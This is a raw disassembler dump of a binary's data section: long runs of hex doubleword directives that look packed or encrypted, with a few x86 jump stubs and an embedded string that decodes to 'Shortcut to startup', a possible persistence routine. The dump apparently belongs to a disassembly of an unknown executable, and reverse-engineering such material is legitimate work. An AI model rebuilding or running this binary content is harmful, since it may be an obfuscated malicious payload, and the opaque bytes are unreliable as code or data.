dd 0D515035Fh, 563033EDh, 6F879302h, 2ED41FC1h, 0D3CC605Ah
dd 7C469C20h, 78130085h, 100C7E76h, 911B4E59h, 764AFAF5h
dd 142D20EEh, 4E4FA1F8h, 0EA09968Ah, 705A8844h, 64130126h
dd 2438B242h, 0ADC438BBh, 0DA53C52Ch, 0B24154CFh, 4331C02Eh
dd 0FD07E2D2h, 5DD1A490h, 1A735744h, 4D928515h, 47h, 0EFEA8779h
dd 872E6807h, 7EF507C7h, 9BEF9B5Bh, 819F0A21h, 9517DA14h
dd 4219D361h, 0B8D1C36h, 417258E8h, 4D811C36h, 0D91DB8B3h
dd 0DDD4988Ch, 0C923C10Dh, 0DD1C3641h, 7AA8E2BBh, 0E4000000h
dd 9A5946DAh, 2E3FDE16h, 0B30BC39Bh, 0B0F6E89Fh, 31DD1932h
dd 2FBCC73h, 322EC015h, 34A84BA5h, 7AFE9F38h, 897FCBE6h
dd 11CA8C6h, 237404EFh, 0E91300CBh, 0C15D281Ch, 866871E8h
dd 0A77F4A15h, 9FAD7927h, 4F510BD6h, 2F954B7Fh, 2B1C271Fh
dd 0F9E47B85h, 6E0276FDh, 41928271h, 0EA847653h, 728206EDh
dd 0C4DAD4DFh, 1C271FFEh, 0D2FAF4FAh, 0FCF5000Ch, 0A9F2F414h
dd 0C39B2E0Ah, 1749D50Bh, 13B7150Ch, 0FBECE7CDh, 948FE312h
dd 0A4B4B734h, 651BDB15h, 203CB043h, 0C82BAEC7h, 6FF1AA44h
dd 597EF6F3h, 19D8169Ah, 37BAF08Bh, 0B32C40FEh, 4851CC40h
dd 0F3E144A9h, 0A29213F8h, 8E3E5BD7h, 0BA1EA43Ah, 661A09B7h
dd 2292E067h, 0AF519FE0h, 4BCD24B1h, 160ACEABh, 0A7BB4589h
dd 2AC9D64Ah, 27A948A6h, 44DC50CFh, 0CB0A053h, 8F627FF2h
dd 0A89CE90Dh, 0F46841DDh, 9B9408EBh, 7F71F3FEh, 0CD635D71h
dd 0A2372ED0h, 2FD17552h, 0DD4FA732h, 18745841h, 0B83F408Ah
dd 42B23409h, 0AD3BBh, 8D2F0000h, 68EC0792h, 844FE58Ch
dd 41B01547h, 0AB4653CFh, 37BA2739h, 0C82BAEC5h, 35BCDD54h
dd 0C42FAAC3h, 34BFD850h, 0BF32AFC0h, 2AC9D04Dh, 0E289525Dh
dd 4C281h, 0EA830000h, 24148704h, 2434895Ch, 4B9568h, 243C8900h
dd 0C5968h, 24348900h, 3FD3B850h, 58BF7052h, 81570224h
dd 5953ACE7h, 0D1EF8178h, 0F712AF3Dh, 8E7C1DFh, 8105EFC1h
dd 0EE7C08C7h, 58C73173h, 24348B54h, 5104C483h, 4E89F989h
dd 240C8B08h, 4C481h, 348B0000h, 0E0895024h, 405h, 4C08300h
dd 5C240487h, 52243C8Bh, 0C281E289h, 4, 4C281h, 14870000h
dd 0C9E95C24h, 0FEFFFB23h, 79356584h, 0B80AC5E4h, 93A5A7Fh
dd 0E0FFC503h, 0EE013F2h, 65E7A26Dh, 495F3656h, 3EE4671Ch
dd 45669895h, 7168974Fh, 4FA6C503h, 40D74A28h, 2ECA0DBCh
dd 3BAC72Ah, 0E660176h, 3D28B46Fh, 4A91C9EFh, 1FC219BFh
dd 54A25741h, 23519D8Dh, 39B80935h, 89000000h, 35277585h
dd 0E809h, 5580000h, 0Dh, 39E90389h, 0
dd 0Dh dup(77E600h), 0FF77E600h, 6E8h, 0BDC79600h, 52C65EB8h
dd 14E952h, 0E1E00000h, 7FD9DB81h, 44D4D012h, 59C32830h
dd 5095EF25h, 5858906Eh, 7E95Fh, 93D70000h, 4C614768h
dd 0C1C781D8h, 8A000061h, 0FFDB2BE5h, 4DB43B34h, 11E85Ah
dd 2E7E0000h, 0E1D5C7BEh, 22A560DCh, 60B2888h, 0F819B71h
dd 68Bh, 860F00h, 59000000h, 42CF281h, 81662363h, 81EAB5C1h
dd 983508F2h, 81CDB440h, 352273C2h, 0DE967h, 878B0000h
dd 67CE04B3h, 79B86EC8h, 897A0381h, 14E81F14h, 42000000h
dd 0A3F7BEDEh, 6A4A8C12h, 0C4A8898Bh, 465B27F6h, 58F7B3E8h
dd 182BF681h, 0EB835556h, 0FE801h, 860F0000h, 0F95455B3h
dd 0F32C056h, 0CA95894Eh, 4B4B5857h, 8B66514Bh, 0FB8158CBh
dd 0FFFF9F40h, 11850Fh, 0E9FC0000h, 22h, 6585B015h, 4896682Ch
dd 81F5C3A4h, 72BD1FC8h, 0FF41E962h, 3276FFFFh, 0D8AC7415h
dd 70FCBDA3h, 6CEBA57Bh, 726F6853h, 74756374h, 206F7420h
dd 72617473h, 707574h, 14h dup(0)
dd 501ACFF5h, 1, 0EFAE9h, 5EE06800h, 69E9093Ah, 68FFFBE8h
dd 93A5FEDh, 0FBE85FE9h, 616D68FFh, 55E9093Ah, 68FFFBE8h
dd 93A61B3h, 0FBE84BE9h, 627B68FFh, 41E9093Ah, 68FFFBE8h
dd 93A6308h, 0FBE837E9h, 66EA68FFh, 2DE9093Ah, 68FFFBE8h
dd 93A69E9h, 0FBE823E9h, 6AA968FFh, 19E9093Ah, 41FFFBE8h
dd 0BCCBD08Eh, 4A356616h, 0AFD0DD81h, 4C3B601Eh, 2CC8D585h
dd 0B8A62D81h, 3A3A94F3h, 0BEBE1671h, 462692EDh, 0CB4A3755h
dd 0CF87DD59h, 0CEE991FAh, 40435A1Ah, 94A3D494h, 0C1633A3Ah
dd 4B9CABF2h, 0E4D93C4Dh, 0AFCF82A6h, 0F1EFA679h, 71CF82A6h
dd 0A8578F0Eh, 39F9B1D1h, 7Eh, 0ED8D3750h, 1D0EDCD6h, 0F629557Eh
dd 0F7A1DDF1h, 7994D400h, 7990792Fh, 0B0DD458Eh, 0E1AFCE87h
dd 41C07325h, 0CF82FC54h, 0ABD3F80Fh, 714A1074h, 7CF03FB8h
dd 76A22B06h, 1E5E7681h, 0F2B7A5FFh, 0CB85D826h, 6E23784Bh
dd 0CF82C770h, 5A704D81h, 6E997422h, 7DD4B860h, 2D895300h
dd 69CCA47Bh, 897EF82Ah, 8460FEE3h, 0E3E888DFh, 9600A47Bh
dd 85F9189Bh, 0F9B162DEh, 0CB07h, 1ACE4F00h, 587F2D5Ah
dd 3EE2A9h, 95D0C37Eh, 573636A2h, 4289F6CDh, 0D206011Ch
dd 7D8A7B92h, 9EEA2551h, 4C2C98A3h, 33FFAE5Fh, 0D80CC64Eh
dd 40749398h, 0F13AED20h, 4ED8844Ah, 7896B339h, 2CB1AC4Ch
dd 0F4A92C15h, 5FCF8356h, 3C7C0C9h, 6C759BCh, 9C8CCF83h
dd 5572370Ah, 14718686h, 0D8BABB46h, 0C9BECB5Dh, 304F5C02h
dd 4B9DE199h, 4E7562D7h, 0C93972Bh, 0E3EE0000h, 755DAA73h
dd 0EEE32409h, 735CAB70h, 0E6ED1A03h, 2EC9B378h, 0A28BF3DAh
dd 0C0ED6965h, 4C5109BFh, 0C4E9893Bh, 0C41EA7D0h, 97CF87DEh
dd 7CE4AE4h, 540ABFB8h, 0BC26EF39h, 9FC64D80h, 0F10E1F89h
dd 63326BC7h, 87AC7940h, 0EC235B70h, 551D0E98h, 0EA1F1D0Eh
dd 6ACBA42h, 0CFF9CFCAh, 821470AFh, 5A3FC6AFh, 9CF8336h
dd 8DA4D0FEh, 21417304h, 35736DD8h, 30E8CF83h, 0D44AA7E6h
dd 1DCF8335h, 91D6C9B5h, 1F4A4539h, 83352CB6h, 25F92FCFh
dd 7FF92B6Ah, 0A64D8110h, 2FF9B146h, 0A4h, 17B7D0B7h, 0C6500CC6h
dd 145480EBh, 97C70EF9h, 85D21978h, 96A1C64Dh, 46F4222h
dd 506790D0h, 7B0D0078h, 32A6E1C8h, 822A5B32h, 46DAF866h
dd 0AB8632h, 5DE81117h, 0CF833A40h, 0A7988593h, 3A4F3840h
dd 832549DBh, 231E0ACFh, 0D64CBB1Ah, 1D0BD8BAh, 0E5F4DBECh
dd 0F4B96FEFh, 4E3E3C93h, 7562F1E2h, 8606DCBFh, 0E100000Bh
dd 5CAB70EEh, 0EA150676h, 4FB07DE1h, 0EC1B007Eh, 0CCA875E5h
dd 5806CD21h, 0DA9A3453h, 5E1EB6D1h, 0E686324Dh, 2BAAD7B5h
dd 0CF87DFB9h, 0CE49F19Ah, 39465707h, 34BEEF8Fh, 2D5A1ACEh
dd 8027B91Ch, 0FC2CC64Dh, 0A3155245h, 0FEEDDAC3h, 0FB8C09FEh
dd 0BACF82A3h, 675A04CDh, 0B2B3EA3Eh, 605313C5h, 82A37B61h
dd 1978E7CFh, 0B1D03EE5h, 7A7F9h, 2D2F0000h, 827h, 1F1D0ECDh
dd 0ABF66BEAh, 0CB5DCF82h, 45258FD4h, 0BDBD2758h, 3E90A7E2h
dd 0CC895F3Eh, 0D5816AA8h, 47C67D2Bh, 36C6D403h, 72D3E693h
dd 34BE9370h, 797E35E3h, 1D5D871Ah, 0A5C5EF10h, 5C887F6Ah
dd 3BA8251Ch, 0B834BE93h, 2F346B13h, 0CFABE298h, 0D8CFFD1Ch
dd 4D319AADh, 6F029176h, 9F82545h, 938B9500h, 58D034BEh
dd 0D7B6A02Dh, 0DF09764Dh, 811809Fh, 2634BE94h, 17C150BFh
dd 8F394657h, 24F3B0EFh, 0C972D324h, 1C611187h, 2D701F0Ch
dd 5F1FB3C4h, 0A2CDE440h, 0BF463339h, 683E8EFEh, 0CCBD9B8Dh
dd 1193F320h, 3CF7A96Bh, 0ED0E52BDh, 8DF80135h, 15EBCD93h
dd 166150C8h, 53B2C7C5h, 1F20ED06h, 3D9E4A3Dh, 52B6E995h
dd 843FC9C4h, 0D3D0CF59h, 4F30404h, 7C66EFCEh, 0DF0CF8D2h
dd 59E4DF49h, 314E56FCh, 0C10A7D16h, 7026829Dh, 83447087h
dd 94990F4Fh, 0DD214173h, 3AF3CC67h, 60BD7C2h, 6100000Ah
dd 0DC2BF06Eh, 6A9586F6h, 0CF30FD61h, 6C9B80FEh, 4C28F565h
dd 0D8864DA1h, 5A1AB4D3h, 0DE9E3651h, 6606B2CDh, 0AB2A5735h
dd 0CF87E139h, 0D0C9711Ah, 366911B7h, 6054DFD2h, 0E548FC00h
dd 0AED17560h, 9C018h, 0C2B01B00h, 3824AED9h, 0BFBF1473h
dd 423C91EEh, 0B7A72E59h, 0B5F0EE6h, 7A8596C4h, 4032854h
dd 609F8CCCh, 0E527F474h, 0E18799FCh, 0BFCCCF87h, 0DB7D037h
dd 0E7A27F6Dh, 9AFDB698h, 48289CA7h, 0C3BB1255h, 0ABFDAFDAh
dd 6517931Ch, 0C8F6C47h, 901AF9A3h, 2F17283Ch, 5FA9E49Ah
dd 5ECDFAC9h, 0D3AC295Eh, 0A2CF82B0h, 0F5A7D076h, 63CED580h
dd 43C2712Fh, 914046A2h, 3740488Fh, 0AD489CEh, 110C1C98h
dd 0B2C7C516h, 43263D53h, 0A9215691h, 9C4EDAB5h, 0D4844778h
dd 0F5029455h, 9F92CA02h, 2F96A396h, 8ED306B5h, 1ECB8B44h
dd 6F8EA6Bh, 0CD5B8ED3h, 0E9DB685Bh, 7163A489h, 63430DF1h
dd 0C3D6BDE5h, 8F81Fh, 0FA785300h, 80FCD631h, 0F7676C9Bh
dd 8AF4D926h, 0EF6F66A1h, 439736BEh, 0A2DDCE8Ch, 1C6B302Ch
dd 0A8D7C4B4h, 1D6F3C3Ch, 0E24FD134h, 7704CF87h, 5A1ACEFFh
dd 0D0884043h, 81384ACBh, 0F239C64Dh, 6C389DEAh, 0EBCF87DDh
dd 4C3D4C3Dh, 87DC57C9h, 152CFCCFh, 0B61FBE2Ah, 0CF87DC2Ch
dd 8510F92Fh, 0CF87DC9Bh, 0EDBE68C0h, 47462692h, 0CAC5B51Ch
dd 0B92BAA9Fh, 9ACF87DCh, 9776E0EDh, 9BA89B0Dh, 21394535h
dd 807C5AB9h, 86BC99Dh, 0BC60000h, 0AD25624Bh, 369BECB1h
dd 0AB246348h, 4E8582ABh, 0C6710B10h, 0FA235B72h, 8895C10Dh
dd 4295177h, 8C91D103h, 0ECF65F88h, 6FCF87E3h, 1ACE921Ch
dd 3542435Ah, 59E6DD99h, 0F3100F6Fh, 4E7A0988h, 0B65DFD2Eh
dd 15F084F3h, 0FFB2AA22h, 53280h, 1D0EC600h, 142EA1Fh
dd 0B735AC0h, 1F7AA361h, 0E8BC1924h, 6FCF8833h, 0DB7D0B9h
dd 0A82D1C6Dh, 0CF878B3Eh, 97FE0B1Dh, 0CF878B8Dh, 2675ACEh
dd 0BCD3D145h, 0F3F81655h, 6EECE348h, 0DE9E342Fh, 0F817E4BFh
dd 6CBAA429h, 80F4238Ah, 80D290D3h, 4F02h, 180E4800h, 7E68ED1Ah
dd 7DC64D80h, 0DDCA7DEFh, 0A14A4334h, 1F8F0F95h, 0AC2651C7h
dd 784BDDB0h, 0B9CEBB6Dh, 0D1336A14h, 5E086DE2h, 8CE6B552h
dd 9425AC9Bh, 0B2ED3B3Bh, 0B2A81F56h, 699DFCFFh, 0D0E3FABAh
dd 72Bh, 0E42DB300h, 0CD000001h, 0EA1F1D0Eh, 87DD9F6Bh
dd 2D60B8CFh, 87DD5BC8h, 0ABEADDCFh, 0C0C9CF18h, 0C23AF155h
dd 123AA2D8h, 9995BEB1h, 0D7CB55C0h, 9890C64Dh, 586F980Eh
dd 74390870h, 0DFBEBC13h, 0B03293A6h, 0A3C64DD7h, 1AB1BE75h
dd 709F2964h, 37B5221h, 75E1ED1Ah, 0F5616D9Ah, 7BFBED1Ah
dd 0EF6F5FA4h, 75A447B0h, 0A7D58B0Bh, 0B761CCC5h, 0ECBFDE21h
dd 7072D3E2h, 0E3C64DB0h, 5BBAE335h, 0C64DB0DFh, 0C9BEBE16h
dd 5A6915BEh, 0FFC0F413h, 6C6295D5h, 1D8B1DF0h, 180E7802h
dd 7D51741Ah, 19F47460h, 483F198Fh, 0E3833586h, 0AA4CCB35h
dd 6C39584Bh, 6D66775Bh, 1C8A1EF1h, 0F3CE7525h, 0D017F084h
dd 5F000003h, 385707CEh, 3BAD00DBh, 0B51F643Bh, 26AFDAB5h
dd 0C64D80BCh, 84EB899Fh, 0EF542715h, 0EDE4D3A0h, 27B91C6Dh
dd 2CC64D80h, 933A45FCh, 0EC5C2EBh, 3797AE50h, 2FE0B947h
dd 0C4BA11E0h, 1615302h, 807A670Eh, 49BCC64Dh, 0ED8D37CAh
dd 0B209BFC0h, 4D80D153h, 9682C6h, 0E6EBDC0Dh, 3003A578h
dd 4D804CD1h, 0D140CFC6h
dd 0C9D28A42h, 4D8D4E4Ch, 0C953A4C6h, 8CF82DBEh, 9D2D04CAh
dd 0F08447F7h, 0FFFF4DE0h, 1ACE66FFh, 8236515Ah, 0D946ABE2h
dd 5FC64D80h, 6B5C2968h, 0F464F664h, 2508782Bh, 1ACEB988h
dd 9F36515Ah, 8502AADFh, 9FCEBB16h, 0BC224A1h, 8791C64Eh
dd 0C82D2211h, 96C1ACC7h, 4B68F4E5h, 0BEAD29FDh, 0CA49AE85h
dd 0F74DED92h, 4DF420h, 0E7A0000h, 0DFEA1F1Dh, 40F15E4Dh
dd 587217EDh, 99FE924h, 336FDB3Ah, 0F028CF88h, 8B6F781Dh
dd 92FDCF87h, 4D857203h, 97AAFE11h, 0BF0A5807h, 1389F9h
dd 5CD10000h, 0C64D8B9Ah, 0FE2A6CF8h, 2D8CFFFFh, 7, 2AD2DCDh
dd 0CECD0000h, 1A2D5A1Ah, 36D2CDB1h, 0E9DB087Bh, 0A679E1E8h
dd 8100E263h, 0C553C64Dh, 0E7D8C553h, 0FA0FF800h, 4D80899Bh
dd 635ECAC6h, 7BDAEFDAh, 0C64D8069h, 82473EEAh, 4C67C1DCh
dd 82A7106Dh, 0A4D543CFh, 4E412193h, 0DD9407BAh, 0CF82A6FFh
dd 699DFC63h, 0F9B1D1BAh, 0BCB81621h, 0B6C47E1h, 49h, 11B7D053h
dd 0BE2D5A69h, 0C7C0C9BEh, 0AB415C02h, 0C9603B92h, 92A1F75Bh
dd 82E12633h, 0B4EB3DCFh, 8280DF3Dh, 0A19683CFh, 0B42E9728h
dd 0A7CF8280h, 9CE82771h, 0F258A6CEh, 0D7EA7FB2h, 8231A5F4h
dd 53F9B178h, 0ADh, 5A1ACE9Bh, 0D1894043h, 5F1FC9BEh, 2341822Ah
dd 0C9A2ADFFh, 296410BEh, 746FE4DFh, 15557F40h, 0B4FB9A83h
dd 0C1C64DCBh, 79465717h, 988A0BB2h, 0BBC64DC2h, 47CEBB6Dh
dd 0CF85747Eh, 9FE0B1Dh, 728F9CC2h, 122A5EEAh, 2B06E756h
dd 84308940h, 0C95FA9E4h, 5786A7C5h, 4B17027Ch, 489h, 4469E9E4h
dd 0DECF8F43h, 653628A1h, 0E4C9B51Ah, 0FD2E2CA3h, 4D84D877h
dd 0EFDF200Dh, 8B413E6Fh, 0BBDCAD3h, 2552426Bh, 87E646A0h
dd 0CC6615CFh, 465707CEh, 35844C3Bh, 4D8056D0h, 851305C6h
dd 1B17C1AEh, 0BE836C8Fh, 4556C047h, 5A1ACEADh, 27B91C2Dh
dd 2CC64D80h, 80EEF85Dh, 0BB6DC64Dh, 27B91C6Dh, 2CC64D80h
dd 175245FCh, 93AEAE20h, 4B3C3CA8h, 0D0E3933Ch, 6F6DBE89h
dd 0B1182F1Ah, 3A91D6C9h, 69BF4944h, 802BB520h, 0F830C64Dh
dd 9BB3CC49h, 0BA62CF82h, 5D5CAC74h, 3D685B5Ah, 0E13DB4EBh
dd 30CF82F9h, 2EFD4CCBh, 65F0D92Eh, 0CF82F97Bh, 943D48E0h
dd 6251B3EAh, 14CD6ED7h, 6920D8B8h, 4DE2FAECh, 59CF59C6h
dd 0A4A47354h, 3FAEF253h, 0B2C5CF88h, 0E640C518h, 75CF87BEh
dd 933EF5A3h, 4F837485h, 3E49340Fh, 51C4E995h, 0CF87BED5h
dd 0CAB4192Eh, 14448CF7h, 3A5707h, 5C9F0000h, 0C64D80C6h
dd 0B378786Bh, 0F36B6156h, 0CEB9881Ch, 0CF465905h, 0C64D8055h
dd 32C150BBh, 0C7B8E599h, 0CF465901h, 0C64D8052h, 44D746C9h
dd 3EA82D8Ch, 1DC64D80h, 0E2909D0Bh, 0E733B9D0h, 0B68DFB18h
dd 0C4A28401h, 67B1C64Dh, 0F2C1B910h, 100F4F85h, 77DEFDD3h
dd 0C64DC46Dh, 9BEC3AEEh, 7C3727ACh, 82F2DC07h, 0C6C588Bh
dd 96056A11h, 8F0E71A4h, 9BC309FEh, 45359BA8h, 17C8A834h
dd 0F78D802Ch, 1375A8D6h, 26E7AE85h, 0C64DBF3Eh, 0B21C2B5Ch
dd 8A39CBC2h, 84CFAA58h, 0FF613BF0h, 0CE83FFFFh, 40435A1Ah
dd 0F8C7D494h, 75E0292Fh, 0CF82A708h, 0E6F7DCEBh, 0D32472F2h
dd 82A67072h, 7E35E3CFh, 9FCAC553h, 329B3CA8h, 0C8BBD244h
dd 0E0445B03h, 0A07E7B36h, 0C2CF82A6h, 7F61E4D5h, 0D4CF82A6h
dd 0B8A6D44h, 0B1D12CD3h, 5FB5F9h, 0D03D0000h, 6D6F8F1Ch
dd 923A9424h, 72C73E3Ah, 0FBC87B2Dh, 0EEDB2C2Ch, 4DFB7D67h
dd 3B4ADEC6h, 58ACE393h, 0E075E069h, 93CF832Bh, 0F22D2DA4h
dd 26F29B96h, 0CB948AE7h, 5FCECF82h, 0B817BC30h, 0C3B4F9B1h
dd 0B6524D0Dh, 3A5515BFh, 0FF74D3EEh, 89000000h, 0C89547Eh
dd 0CF82C01Ah, 8A39EF39h, 5A1ACE70h, 83354243h, 81C669A7h
dd 6CBAA7C8h, 4FDCD731h, 0DA0B0278h, 0A679E5EDh, 379A71C6h
dd 4BDDC729h, 2D4AD9A1h, 576A1EB0h, 0A578F8ECh, 25F67662h
dd 4E0C4968h
db 0C6h, 36h
word_594F42 dw 0E282h ; DATA XREF: ___:off_4387C0o
dd 5CB9D0B9h, 0C64E03CAh, 398F6389h, 0FC9FA2F3h, 38AC97AAh
dd 79626538h, 0CAFF8673h, 79CF8328h, 1ED344F3h, 42C336D2h
dd 0CF8315E0h, 40F3A573h, 0FDD3E495h, 7D06A27Dh, 0CF8315A3h
dd 0C1B660B8h, 15D34DB8h, 9088CF83h, 3FF26C65h, 7E7E6D5Ah
dd 0CAB50C89h, 54C4D8BAh, 0BDBD1423h, 28A691F0h, 9C97F12Ch
dd 3A42388Fh, 7562C432h, 8AAE9467h, 0E5000001h, 403F6CEAh
dd 0BEC9D28Ah, 43446915h, 0A0DFCC8Ah, 906C3129h, 443A91E5h
dd 0B6A62857h, 4A329AE5h, 0B2B22661h, 57BEABE9h, 0CF87E9CDh
dd 0CE75FD8Eh, 3B465707h, 9FD6864Ch, 0CE5A3535h, 1C5C88F3h
dd 1D0E630Fh, 0EE6BEA1Fh, 5CF82B0h, 8795FC13h, 0DBCF82B0h
dd 5F582574h, 8B1DF06Eh, 0C37926B8h, 9C68F9B1h, 0EE000000h
dd 435A1ACEh, 0A8D18940h, 80B23491h, 77A1C64Dh, 832AC7BCh
dd 70C64D85h, 8F72444h, 0A3D3FBDCh, 0BE2D1AF5h, 7F4CC9BEh
dd 16CF82B1h, 8104F502h, 0CF82A89Fh, 84D64B4h, 9FE8F037h
dd 0BA59E836h, 0CCBD6BD8h, 356614BBh, 0B3DB834Ah, 75627C81h
dd 0CAF1D5A8h, 25000000h, 807FACAAh, 0FE09124Ah, 8384A9D5h
dd 0E01F0C4Ah, 0D0AC71E9h, 84FAD125h, 0F6666897h, 8AF2DA25h
dd 0F27266A1h, 97FEEB29h, 0CF87EA8Dh, 0CE35BDCEh, 39465707h
dd 5BC5508Fh, 0C64D80h, 8D1B4387h, 0CE68121Bh, 40435A1Ah
dd 0F8C7D494h, 75E0292Fh, 0CF87DD8Dh, 40435ACEh, 0B8C7D494h
dd 0C4316C0Ch, 28A88109h, 5421709Fh, 8BCC29C8h, 5479D054h
dd 791F32Ah, 34953F2Ch, 61C3DA9Ah, 2F99E6B7h, 2215504Fh
dd 7601B0ACh, 1C021D59h, 66512271h, 343FF272h, 0CCBBE080h
dd 1CEB918h, 3B36B055h, 54251668h, 683BEFF1h, 62B46416h
dd 0FCB0D9B4h, 11BDFC1Ah, 23917765h, 0A903EF5h, 58000000h
dd 6816B7D0h, 0EAE0D335h, 5303CE6Ah, 0DD9D473Ch, 4F0FC5C2h
dd 0BBBB1350h, 32289FE4h, 0B9A1285Bh, 322CA1E6h, 0BBA3285Bh
dd 332B9FE4h, 8953805Ch, 4AB850E3h, 4027E845h, 442DE8D1h
dd 0F7143A22h, 35D8F7D0h, 0FFBA0066h, 8358C301h, 1C8704EBh
dd 89535C24h, 4C381E3h, 83000000h, 1C8704EBh, 1C895C24h
dd 5EBE6824h, 4890000h, 65BD5524h, 566B8C33h, 5A5081BEh
dd 73F6815Fh, 892B9CC0h, 0EB295EF3h, 48B545Dh, 4C48124h
dd 52000000h, 8BB53h, 0DA890000h, 89C2015Bh, 34FF5A1Ah
dd 0C4815824h, 4, 57241C8Bh, 0C781E789h, 4, 8704C783h
dd 0E95C243Ch, 0FFFBD97Ch, 0B86D9EA8h, 93A6B98h, 0E0FFC503h
dd 6EA94109h, 733B14A0h, 23E1EAF3h, 20E61624h, 1791B89Dh
dd 2A086A9Ah, 5ED85592h, 58A7C36Ch, 77F3AA57h, 776B914Fh
dd 0B0E9h, 8C666000h, 4C2F6DAh, 0C850Fh, 853B0000h, 9350EC9h
dd 36840Fh, 853B0000h, 935057Dh, 2A840Fh, 853B0000h, 9352621h
dd 1E840Fh, 853B0000h, 9352B39h, 12840Fh, 0BD830000h, 9350261h
dd 5840F01h, 0E9000000h, 5Fh, 5203D08Bh, 88BA8B3Ch, 8B000000h
dd 0C985784Ah, 49840Fh, 0C2810000h, 0F8h, 30C728Bh, 1C598BC8h
dd 314518Bh, 850B8BD8h, 10840FC9h, 3B000000h, 17820FCEh
dd 3B000000h, 0F830FCFh, 83000000h, 0F4A04C3h, 0FFFFDC85h
dd 0DE9FFh, 9D8D0000h, 9354C02h, 5B8h, 61E3FF00h, 0EBD00BC3h
dd 60h, 17h dup(0)
dd 0B12E900h, 6E90000h, 6800000Bh, 93A7543h, 0FB114BE9h
dd 76A368FFh, 41E9093Ah, 68FFFB11h, 93A7704h, 0FB1137E9h
dd 2D8AA8FFh, 6C75E870h, 2BB6A92Fh, 6176EE72h, 2CADC43Ch
dd 33D7A46Fh, 7AFE9F3Ah, 31A7F4E1h, 87F9A23Fh, 0FBADEEEBh
dd 0D4A70DD3h, 0F2A312FBh, 0A92C47D1h, 3CBE6E4Ah, 0B93BB623h
dd 2DA8C33Dh, 6B74E870h, 19AE288h, 5F546072h, 0BDB32DC9h
dd 0C45FD120h, 447C22D1h, 0AFCC54A9h, 7EF00423h, 8DFFF2E7h
dd 7AEE0594h, 8AFEF5E2h, 99061895h, 35289C57h, 0EFBA45ACh
dd 0BC099737h, 0C0150B6Fh, 0E0DAAE1Eh, 35A74F48h, 6BFCA138h
dd 974D815Bh, 12FB6F39h, 4787B1Dh, 0F7E27F68h, 567678FCh
dd 28CBCC64h, 0D87B50A4h, 23AE2B47h, 862E993Ah, 0EFE40DC4h
dd 5005C419h, 4AC388h, 2E040000h, 150DC486h, 3641E5CFh
dd 8A91E11Ch, 6D6803A9h, 1CBE0286h, 0EB837DA7h, 6F8103EEh
dd 47BE1564h, 42A7BF2Ah, 0AC42AC29h, 5C5E7025h, 6B1BD6C3h
dd 0D2C3CF80h, 55A14F94h, 28D1AEh, 0C5FD0000h, 0D6010CB6h
dd 10AF474Bh, 0DC4862Eh, 41E5CF15h, 921E1C36h, 9B9153Fh
dd 0CFE3469Ch, 1A0540Fh, 24AF2A47h, 0EB156370h, 0F98C6875h
dd 0A6D6F6AEh, 63C7CE74h, 3E729A76h, 5047E3DFh, 0D8B4589Ch
dd 542129A8h, 995D86E8h, 359880Bh, 0E67A6C15h, 0E986FAF9h
dd 62FC02ECh, 0E8787B75h, 130116E6h, 75563EA7h, 92852518h
dd 19C4Fh, 0AD158000h, 0F063BE24h, 0F2857145h, 0C0DEEEA4h
dd 1C356502h, 0B0DCF0F6h, 3564C8F2h, 0DA1ABC1Ch, 544DE153h
dd 0EB156447h, 87986673h, 0A155D71Ah, 2BA6332Fh, 6673EB15h
dd 66ED098Bh, 0C3203EC0h, 38BC32AFh, 0C4862E99h, 19EFE40Dh
dd 885005C4h, 21C3h, 862E0400h, 0CF150DC4h, 1C3641E5h
dd 1514BFE1h, 0AD2847B9h, 2A47AA49h, 637024AFh, 1ED1h
dd 862E0200h, 0CF150DC4h, 1C3641E5h, 8832701Eh, 7C1C3641h
dd 153D945Ah, 0AF2A47BEh, 15637024h, 8A6A77EBh, 0DD3AFF7h
dd 1C3641A7h, 9C5742DFh, 0EA04AA18h, 41EABCE2h, 0D8FE1C36h
dd 0C00A98F4h, 0B41C3641h, 0C93BC232h, 40804C55h, 0E5EE30Fh
dd 8E6B8B1Dh, 2BB9159Dh, 1C3641A1h, 80425FD1h, 824965Eh
dd 993A448Fh, 8C4862Eh, 0A25C79F6h, 5EE2118Eh, 0EFE4F796h
dd 5005C419h, 33C388h, 2E040000h, 18A286h, 41674D97h, 3D631C36h
dd 0CF1520B3h, 1C3641E5h, 4158D1EBh, 18C62EB2h, 0EB153B96h
dd 0DE8A6A77h, 0AF2A47AFh, 0D1637024h, 66h, 0C4862E02h
dd 72EB150Dh, 93396767h, 871C3641h, 0A5E99561h, 6B95001Bh
dd 800EE6F3h, 1C36413Ah, 0B1028838h, 0AE1A293Dh, 933BD546h
dd 8EBF669h, 15D17084h, 0BF2A47BEh, 3EC231A4h, 0C130A9C0h
dd 651DB13Fh, 93FAD5BFh, 0CDC4FC37h, 2C2528E4h, 70CF6E86h
dd 8EDD1E5Eh, 0C6CA70Ch, 5F9822C0h, 0A8C1C35h, 0AD1543EAh
dd 21E9159Eh, 7E668EDBh, 0D4h, 0C2982ECFh, 41F6D40Ah, 0BCE21C36h
dd 42AFC335h, 491A802Bh, 1B84AA55h, 549A1ED5h, 0B5AA5478h
dd 9D47C928h, 1C35E217h, 94698D13h, 0A40D209Ah, 14E00E8Bh
dd 0AE2B476Dh, 0E3925E1Eh, 0DB4772D9h, 993A741Bh, 0DC4862Eh
dd 5ED0EAE4h, 36A3BF41h, 0AD151FBEh, 8D4A54FFh, 2F03B4A8h
dd 0E3D94080h, 0D30AB242h, 0B78850F3h, 53E7CD13h, 0BDE31F35h
dd 499239h, 843C0000h, 1302D4B3h, 0A2408CA1h, 1F35D418h
dd 0C36A8A0Ch, 0DC4862Eh, 41E5CF15h, 0BFE11C36h, 47BE1514h
dd 6B1FAF2Ah, 413B811Fh, 0A92F1C36h, 3641913Bh, 9363851Ch
dd 156370ECh, 0E77974EBh, 7BFDF4FAh, 168B7Bh, 2EBC0000h
dd 150DC486h, 3641E5CFh, 3F921E1Ch, 2A47BE15h, 637024AFh
dd 1EAE2B47h, 0DC17809Ch, 842E7458h, 801C3641h, 0A517965Eh
dd 3CBE0E8Bh, 0BA3EB522h, 4BAB2C44h, 6976EA6Eh, 41D2FA8Ah
dd 198A1C36h, 928C2E2Bh, 0E37FF105h, 3F33A5F6h, 0A7522AA2h
dd 584DEA84h, 5BCB52A2h, 4855CBAFh, 9E3B37A9h, 7361C053h
dd 81733078h, 402F7AF6h, 4AF08B41h, 9D1FAF41h, 8D0C2584h
dd 0E50CE266h, 5DE45F63h, 0FCB36F07h, 714423F8h, 29593599h
dd 0DA63321Ch, 21AF47B2h, 15028562h, 0FDA15056h, 4D352AC5h
